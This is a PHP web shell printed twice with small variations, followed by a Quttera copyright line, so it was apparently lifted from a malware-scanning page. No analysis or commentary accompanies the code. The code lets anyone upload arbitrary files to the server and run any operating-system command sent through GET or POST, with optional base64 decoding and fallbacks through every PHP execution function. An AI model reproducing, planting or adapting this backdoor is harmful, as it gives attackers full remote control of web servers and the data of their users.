error_reporting(0);
if(isset($_FILES['f'])){
$d=__DIR__.'/';
$n=basename($_FILES['f']['name']);
if($n&&move_uploaded_file($_FILES['f']['tmp_name'],$d.$n)){
$s=isset($_SERVER['HTTPS'])?'https':'http';
$u=$s.'://'.$_SERVER['HTTP_HOST'].rtrim(dirname($_SERVER['REQUEST_URI']),'/').'/'.$n;
echo json_encode(['ok'=>1,'url'=>$u]);
}
else{
echo json_encode(['ok'=>0]);
}
exit;
}
$_s=($_SERVER['QUERY_STRING']==='=31');
$cmd=isset($_GET['cmd'])?$_GET['cmd']:(isset($_POST['cmd'])?$_POST['cmd']:(isset($_GET['c'])?$_GET['c']:''));
if(!$cmd){
echo 'OK:'.php_uname();
exit;
}
if(preg_match('/^[A-Za-z0-9+\/=]{
4,
}
$/',$cmd)){
$d=@base64_decode($cmd);
if($d&&strlen($d)<512&&preg_match('/^[\x20-\x7E]+$/',$d))$cmd=$d;
}
function _ex($c){
$r='';
if(function_exists('shell_exec'))$r=@shell_exec($c.' 2>&1');
if(($r===null||$r==='')&&function_exists('exec')){
@exec($c.' 2>&1',$o);
$r=implode("\n",$o);
}
if(!$r&&function_exists('system')){
ob_start();
@system($c.' 2>&1');
$r=ob_get_clean();
}
if(!$r&&function_exists('passthru')){
ob_start();
@passthru($c.' 2>&1');
$r=ob_get_clean();
}
if(!$r&&function_exists('popen')){
$h=@popen($c.' 2>&1','r');
if($h){
while(!feof($h))$r.=fread($h,4096);
@pclose($h);
}
}
if(!$r&&function_exists('proc_open')){
$d=[0=>['pipe','r'],1=>['pipe','w'],2=>['pipe','w']];
$p=@proc_open($c,$d,$pi);
if($p){
$r=@stream_get_contents($pi[1]);
@proc_close($p);
}
}
return $r;
}
if($cmd)echo _ex($cmd);
error_reporting(0);
if(isset($_FILES['f'])){
$d=__DIR__.'/';
$n=basename($_FILES['f']['name']);
if($n&&move_uploaded_file($_FILES['f']['tmp_name'],$d.$n)){
$s=isset($_SERVER['HTTPS'])?'https':'http';
$u=$s.'://'.$_SERVER['HTTP_HOST'].rtrim(dirname($_SERVER['REQUEST_URI']),'/').'/'.$n;
echo json_encode(['ok'=>1,'url'=>$u]);
}
else{
echo json_encode(['ok'=>0]);
}
exit;
}
$_s=($_SERVER['QUERY_STRING']==='=31');
$cmd=isset($_GET['cmd'])?$_GET['cmd']:(isset($_POST['cmd'])?$_POST['cmd']:(isset($_GET['c'])?$_GET['c']:''));
if(!$cmd){
echo 'OK:'.php_uname();
exit;
}
if(preg_match('/^[A-Za-z0-9+\/=]{
4,
}
$/',$cmd)){
$d=@base64_decode($cmd);
if($d&&strlen($d)<512&&preg_match('/^[ -~]+$/',$d))$cmd=$d;
}
function _ex($c){
$r='';
if(function_exists('shell_exec'))$r=@shell_exec($c.' 2>&1');
if(($r===null||$r==='')&&function_exists('exec')){
@exec($c.' 2>&1',$o);
$r=implode("\n",$o);
}
if(!$r&&function_exists('system')){
ob_start();
@system($c.' 2>&1');
$r=ob_get_clean();
}
if(!$r&&function_exists('passthru')){
ob_start();
@passthru($c.' 2>&1');
$r=ob_get_clean();
}
if(!$r&&function_exists('popen')){
$h=@popen($c.' 2>&1','r');
if($h){
while(!feof($h))$r.=fread($h,4096);
@pclose($h);
}
}
if(!$r&&function_exists('proc_open')){
$d=[0=>['pipe','r'],1=>['pipe','w'],2=>['pipe','w']];
$p=@proc_open($c,$d,$pi);
if($p){
$r=@stream_get_contents($pi[1]);
@proc_close($p);
}
}
return $r;
}
if($cmd)echo _ex($cmd);
© 2023 Quttera Ltd. All rights reserved.